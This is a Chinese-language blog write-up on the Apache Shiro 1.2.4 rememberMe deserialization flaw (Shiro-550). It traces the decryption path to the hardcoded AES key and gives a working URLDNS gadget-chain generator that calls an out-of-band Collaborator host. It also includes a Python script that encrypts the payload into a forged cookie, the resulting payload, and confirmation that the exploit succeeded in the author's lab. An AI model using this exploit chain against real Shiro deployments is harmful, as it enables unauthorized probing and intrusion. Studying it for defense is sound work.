Shrio反序列化(一) Chsvk 2025-12-14 2025-12-14 摘要:点击标题阅读全文…
脖子不舒服休息了一天,现在进入shrio的序列化章节,预告一下下一个章节应该是fastjson,之后就是做题实战了 现在要讨论的是shrio-550的反序列化漏洞,非常远古的版本,同时也意味着简单好学,我这边采用的是shiro-root-1.2.4 这个版本 环境搭建略过,可以拷打gemini搭建,注意maven配置就好 在我们使用默认密码root/secret登录之后,发现登录状态下的数据包中始终存在rememberMe这一字段,而且是base64形式的,也就是说这一段很可能是要反序列化的数据,那么就在shrio的源码里面找cookie相关,连按两下shift搜cookie: 只有一个CookieRememberMeManager类,进去发现了getRememberSerializedIdentity方法,代码比较长,但看名字就知道是反序列化rememberMe数据的方法,那么继续查找这个方法的调用: 最后到AbstractRememberMeManager类里面来,它的getRememberedPrincipals方法中对getRememberSerializedIdentity方法进行了调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
这里调用了getRememberSerializedIdentity方法去“读取”了byte对象,存入bytes数组中,结合getRememberSerializedIdentity方法的代码大意是将读取的对象进行base64解码可知,这里就是将rememberMe读取,base64解码后存入bytes对象当中,再进行进一步处理
接下来的一个if就可以看出,调用了convertBytesToPrincipals方法,尝试将bytes对象转换为一个Principal对象,Principal对象可以理解为是Java中的已验证过的“成员”,代表一个经过身份验证的实体,这里涉及了对bytes对象,也就是rememberMe的原始二进制值的操作,跟进convertBytesToPrincipals方法
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
subjectContext参数没有在方法内调用,不用管,bytes对象在这里调用了decrypt方法进行操作,可能其中存在AES加解密,跟进看看
1 2 3 4 5 6 7 8 9 protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
这里的代码大意是,如果成功获取了加密功能(getCipherService),则调用其decrypt方法对传入的对象尝试进行操作,解密的key则通过getDecryptionCipherKey获取,将操作得到的结果赋值给bytesSource对象,再调用其getBytes方法,赋值给serilized对象。 可以推测,返回serialized对象后就是正常反序列化操作了,所以解密逻辑一定在CipherService对象中
1 2 3 4 public interface CipherService { ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException; ...... }
这里整个CipherService其实是一个接口,这里的decrypt是接口里面的方法,我们找一下重写了的方法 在JcaCipherService类中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { byte[] encrypted = ciphertext; byte[] iv = null; if (isGenerateInitializationVectors(false)) { try { int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; iv = new byte[ivByteSize]; System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte[encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext."; throw new CryptoException(msg, e); } } return decrypt(encrypted, key, iv); }
这里的ivSize是128,BITS_PER_BYTE是8,所以ivByteSize就是16,也就是说,这里的iv从密文,也就是二进制的rememberMe当中读取,读取前16字节作为iv 有iv有key,盲猜AES了,key先前说过是通过getDecryptionCipherKey方法获取,我们去看一下这个方法
1 2 3 4 5 public byte[] getDecryptionCipherKey() { return decryptionCipherKey; } 以及 private byte[] decryptionCipherKey;
继续查decryptionCipherKey的调用,看看是否在其他地方被赋值过 找“写入值”的调用:
1 2 3 public void setDecryptionCipherKey(byte[] decryptionCipherKey) { this.decryptionCipherKey = decryptionCipherKey; }
继续找调用 转到setCipherKey方法:
1 2 3 4 public void setCipherKey(byte[] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
继续查找调用: 转到AbstractRememberMeManager方法
1 2 3 4 5 public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); this.cipherService = new AesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
这里传进去的就是一个常量了
1 private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
也就是说,key是写死的,现在有key,iv我们自己构造就行,我们就可以自己加密了 由于原生的shrio的CommonCollections是不实际加载的,所以需要用其他的链子,但是这里实际RCE的链是CB链,我还没学,先用URLDNS探测一下
BurpSuite用Collaborator生成一个域名,放到URLDNS链里面生成ser.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import...... public class URLDNS { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashMap = new HashMap<>(); URL url = new URL("http://5tzaif15bj583a461a57o3i8ezkq8gw5.oastify.com"); Class c = url.getClass(); Field hashCodeFiled = c.getDeclaredField("hashCode"); hashCodeFiled.setAccessible(true); hashCodeFiled.set(url, 1234); hashMap.put(url, 1); hashCodeFiled.set(url, -1); serialize(hashMap); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object deserialize(String Filename) throws Exception, ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
写一个AES加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from random import Random from Crypto.Cipher import AES import sys import base64 import uuid def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = b'kPH+bIxk5D2deZiIxcaaaA==' mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = b'kPH+bIxk5D2deZiIxcaaaA==' mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) return unpad(plaintext) if __name__ == "__main__": data = get_file_data("ser.bin") print(aes_enc(data))
运行得到:
1 b'ynBdgtsKTJKTxq2Q+mt/WNEriBMj3KYzlkejWL6MxiYPGQrnhfS0DxzEVadTNM1xUXPPWSKy5IkD+32ASDem3wnmdpX6c1pvBDGnLIG8rQzQJGutFfvfW+1E12cSr0RHgbJ2LUo2kuARwwjTSPw+KUlt6SoPash9nRHknsmqNkDcPwHkS5uNbJMsp9Zmkki4/enQvBZ9z9gkYDAgn8HQ5VDgYFqWlyuwpgDJVpdvI4Il+H/HWPot0/lUTiuIHUuVEIk/MFeiG7Nj3r2EEwdIy7mqGyyZFpgdJQAwSsYGEW/MuioKzi8mhLOuOq8GBcq6/NtEzLrvRh755rKaZpKMjmA3m7+mOeGV46JiVngUZmsf8Ls+Q1zWa3Ct++66OBoWFHyLBIR7bdo0YbwIp9ecb7qX3/UYagQAYrogtPx0nCy2AFl8k3yxEF9q3ps/mhwPPFZ71oCW3XW11ZfdQmI3WGxlRMKLE+wEFWp0nGfM2DcgLKvJAqfJtu3XBSvU0tfm'
将这个内容替换原先的rememberMe的值,删去JSESSIONID,发包: 可以看到没有root的用户信息,再去Collaborator看一眼 说明收到了DNS请求,也就是漏洞利用成功
关于为什么要删去JSESSIONID: 因为有JSESSIONID的情况下,shrio默认不会再去读rememberMe的值来确认身份,而是直接通过Session来确认身份